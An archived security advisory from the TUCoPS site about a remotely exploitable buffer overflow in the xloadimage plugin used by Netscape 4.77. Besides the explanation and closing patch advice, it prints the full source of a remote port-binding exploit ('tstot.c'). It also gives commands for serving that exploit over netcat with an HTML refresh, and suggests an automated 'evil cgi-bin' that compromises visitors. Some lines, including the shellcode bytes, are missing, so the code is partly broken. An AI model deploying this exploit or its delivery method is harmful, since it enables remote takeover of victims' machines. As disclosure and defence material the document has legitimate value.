Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: Apps N-Z :: xli~1.htm

xloadimage exploitable overflow






    zen-parse  found   following.    /usr/X11R6/bin/xloadimage  is   a
    plugin,    used    by    Netscape    4.77    (at    least?),   via
    /usr/lib/netscape/plugins/, to display certain types  of
    images  (TIFF  and  Sun  Rasterfile  formats,  as  the  setup   in
    /etc/pluggerrc has by default) in the Netscape browser window.

    The  problem  is,  xloadimage  has  an exploitable overflow in the
    handling of FACES  format images.   How does that  affect us?   We
    are only using this program to view TIFF and Sun Rasterfile types,
    aren't we?   Yes... but the  browser only bases  the file type  on
    the type its told by  the webserver and the webserver  only (tends
    to?) base what type of file it is by the extension.

    So pipe the output  to a file called  image.tif and put it  on the
    server, and reference it in  a webpage.  The server,  when sending
    the file, does exactly what  it should, and sends to  Netscape the

        Content-Type: image/tiff

    which causes Netscape to look  up in its internal tables,  and see
    that this type is handled by

    Netscape then calls  the handler,  which looks up  it's
    table, and consulting /etc/pluggerrc sees:

        image/tiff: tiff,tif: TIFF image
        image/x-tiff: tiff,tif: TIFF image
        image/sun-raster: rs: SUN raster image
        image/x-sun-raster: rs: SUN raster image
                exits: xloadimage -quiet -windowid $window $file
                exits: display -window $window -backdrop $file

    "Ok," it thinks,  "I'm going to  open up a  TIFF image from  $file
    with xloadimage in $window. Not a problem."

    Then  it  inserts  the  filename  (which  Netscape  passes it, and
    points to a  file in the  Netscape cache) and  the windowid (which
    it was also passed by Netscape) into the command and launches it.

    xloadimage  analyses  the  file,  and  determines that the file is
    actually a 32x32  8-bit grayscale Faces  Project image, and  not a
    TIFF image as the http header and the extension of the file  says,
    and continues to open it.

    Then it launches our shellcode, due to a silly coding error.

        (BUFSIZ is 8192)
          char          fname[BUFSIZ];
          char          lname[BUFSIZ];
          char          buf[BUFSIZ];
            if (!strncmp(buf, "FirstName:", 10))
              strcpy(fname, buf + 11);
            else if (!strncmp(buf, "LastName:", 9))
              strcpy(lname, buf + 10);
          fname[strlen(fname) - 1]= ' ';
          strcat(fname, lname);
          fname[strlen(fname) - 1]= '\0';

    Because the overflow happens remotely,  and its not easy to  guess
    what the user  on the other  end has in  their environment jumping
    back into the stack seems like it could be a bad idea.

    So we jump into the middle of the malloced code.

    This may  be a  little risky,  because the  malloc() addresses  do
    vary over different machines with different updates, and we  can't
    really ask them  what versions of  stuff they are  running (except
    Netscape  itself)  so  we  pad  the  heap  with  a large amount of
    jump/nop code  before the  overflow happens,  and jump  into where
    there should  be something  (The short  jmps are  to jump over the
    garbage between the chunks.)

    0x080e1337 is around the middle of the area on my machine, and has
    worked on  a different  machine as  well, and  it is  also a 31337
    address to jump to.

    If this doesn't work, it would be possible to increase the garbage
    size so the target is bigger still by inserting a few more  copies
    of the lines between the // ...Garbage... lines.

    There is of  course the chance  that the return  address will land
    between the padding, but thats life, isn't it?

    In  case  you  don't  get  it,  0xdeadbeef  is for testing and the

    How to test:

        bash-2.04$ make tstot
        cc     tstot.c   -o tstot
        bash-2.04$ ./tstot >tstot.tif
        bash-2.04$ ls -al tstot.tif
        -rw-r--r--    1 evil     evil        75707 Jun 27 16:53 tstot.tif
        bash-2.04$ gdb -q xloadimage
        (no debugging symbols found)...(gdb) r evil.tif
        Starting program: /usr/X11R6/bin/xloadimage evil.tif
        (no debugging symbols found)...(no debugging symbols found)...
        evil.tif is a  32x32 8-bit grayscale Faces Project image
        (no debugging symbols found)...
        Program received signal SIGSEGV, Segmentation fault.
        0xdeadbeef in ?? ()

    Another way of launching the exploit if you want is:

        bash-2.04$ ./tstot something|nc -l -p 9876

    and make a refresh in your html to it...

        <META HTTP-EQUIV="Refresh" Content="1;url=http://youraddress:9876/">

    This could also  be made into  an evil cgi-bin  that checks for  a
    (potentially) vulnerable  machine before  firing it  to them,  and
    then connects  to the  listening port  and 0wns  them with a local

                           zen-parse presents
                 tstot.c - remote portbinding exploit for
                             RedHat 7.0
                           Netscape 4.77
                      tt     sssss      tt      ooooo       tt
                 tttttttt   ss     tttttttt   oo   oo  tttttttt
                    tt      ssss      tt     oo   oo      tt
                   tt         ss     tt     oo   oo      tt
                  tt      ssss      tt      ooooo       tt
            xloadimage has a remotely exploitable buffer overflow.
    Advisory sent to Redhat      :Wed Jun 27
    Errata released by Redhat    :Mon Jul  9
    -- zen-parse
    //#define TARGET 0x080e1337
    //as 1337 as the 1337357 kiddies.
    #define TARGET 0xdeadbeef
    // lamagra's port binding shell code (from bind.c in the sc.tar.gz)
    char lamagra_bind_code[] =
    // slight modification so it listens on 7465 instead of 3879
    // TAGS is easier to remember ;]
    char *
    this (int doit)
      char *p;
      int v;
      p = (char *) malloc (8200);
      memset (p, 0x90, 8200);
      if (!doit)
        for (v = 0; v < 8100; v += 122)
	    p[v] = 0xeb;
	    p[v + 1] = 120;
      if (doit)
        memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
      p[8199] = 0;
      return p;
    main (int argc)
      int z0, x = TARGET;
      int z1, y = x;
      int p;
      char *q;
      if (argc > 1)
        printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
      printf ("FirstName: %s\n", this (0));
      printf ("%s\n", &x);
    // Begin Padding Heap With 'Garbage' (nop/jmp)
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
      printf ("%s", this (0));
    // End Padding Heap With 'Garbage' (nop/jmp)
      printf ("%s", this (1));
      printf ("");
      printf ("\nPicData: 32 32 8\n");
      printf ("\n");
      for (p = 0; p < 9994; p += 1)
        printf ("A");


    Apply the patches given in

    and disable  xloadimage from  being used  as a  helper application
    for Netscape by changing the line /etc/pluggerrc that reads

        exits: xloadimage -quiet -windowid $window $file


        # exits: xloadimage -quiet -windowid $window $file

    or remove that line.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH